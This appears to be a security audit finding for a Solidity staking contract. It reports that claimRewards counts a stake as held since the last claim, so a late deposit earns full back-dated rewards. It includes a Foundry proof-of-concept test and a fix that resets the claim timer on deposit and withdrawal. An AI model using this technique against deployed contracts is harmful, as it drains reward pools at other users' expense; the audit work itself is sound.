Summary
As per the documentation; For every 1 token deposited and 1 week left in the contract, 1 LoveToken is rewarded.
This can be exploited because users can wait X weeks and then deposit their LoveTokens right before they call claimRewards and then get rewarded as if all of their tokens were deposited for X weeks.
Vulnerability Details
In 'Staking.sol::claimRewards' when calculating the amountToClaim based on the timeInWeeksSinceLastClaim * userStakes, there is no check to guarantee that all of the staked LoveTokens were in the contract for the amount of time since the last claim. A user could wait X weeks and then stake all of their LoveTokens just before they call claimRewards.
uint256 timeInWeeksSinceLastClaim = ((block.timestamp -
lastClaim[msg.sender]) / 1 weeks);
if (timeInWeeksSinceLastClaim < 1)
revert Staking__StakingPeriodTooShort();
lastClaim[msg.sender] = block.timestamp;
uint256 amountToClaim = userStakes[msg.sender] *
timeInWeeksSinceLastClaim;
loveToken.transferFrom(
address(stakingVault),
msg.sender,
amountToClaim
);
Impact
This test passes showing that a user can deposit their tokens just before claiming the reward and they get rewarded as if the tokens were staked for that entire time.
function test_DepositRightBeforeClaimRewards() public {
uint256 balancePerSoulmates = 5 ether;
uint256 weekOfStaking = 5;
_giveLoveTokenToSoulmates(balancePerSoulmates);
vm.warp(block.timestamp + weekOfStaking * 1 weeks + 1 seconds);
_depositTokens(balancePerSoulmates);
vm.prank(soulmate1);
stakingContract.claimRewards();
assertTrue(loveToken.balanceOf(soulmate1) == weekOfStaking * balancePerSoulmates);
vm.prank(soulmate1);
stakingContract.withdraw(balancePerSoulmates);
assertTrue(loveToken.balanceOf(soulmate1) == weekOfStaking * balancePerSoulmates + balancePerSoulmates);
}
function _depositTokens(uint256 amount) internal {
vm.startPrank(soulmate1);
loveToken.approve(address(stakingContract), amount);
stakingContract.deposit(amount);
vm.stopPrank();
vm.startPrank(soulmate2);
loveToken.approve(address(stakingContract), amount);
stakingContract.deposit(amount);
vm.stopPrank();
}
function _giveLoveTokenToSoulmates(uint256 amount) internal {
_mintOneTokenForBothSoulmates();
uint256 numberDays = amount / 1e18;
vm.warp(block.timestamp + (numberDays * 1 days));
vm.prank(soulmate1);
airdropContract.claim();
vm.prank(soulmate2);
airdropContract.claim();
}
function _mintOneTokenForBothSoulmates() internal {
vm.prank(soulmate1);
soulmateContract.mintSoulmateToken();
vm.prank(soulmate2);
soulmateContract.mintSoulmateToken();
}
Tools Used
--Foundry
Recommendations
It is recommended to add a timestamp update to the lastClaim mapping once a user has deposited or withdrawn their LoveTokens. This way the reward timer resets each time they move LoveTokens in or out of the Staking contract.
/// @notice Increase the userStakes variable and transfer LoveToken to this contract.
function deposit(uint256 amount) public {
if (loveToken.balanceOf(address(stakingVault)) == 0)
revert Staking__NoMoreRewards();
// No require needed because of overflow protection
userStakes[msg.sender] += amount;
loveToken.transferFrom(msg.sender, address(this), amount);
+ lastClaim[msg.sender] = block.timestamp;
emit Deposited(msg.sender, amount);
}
/// @notice Decrease the userStakes variable and transfer LoveToken to the user withdrawing.
function withdraw(uint256 amount) public {
// No require needed because of overflow protection
userStakes[msg.sender] -= amount;
loveToken.transfer(msg.sender, amount);
+ lastClaim[msg.sender] = block.timestamp;
emit Withdrew(msg.sender, amount);
}
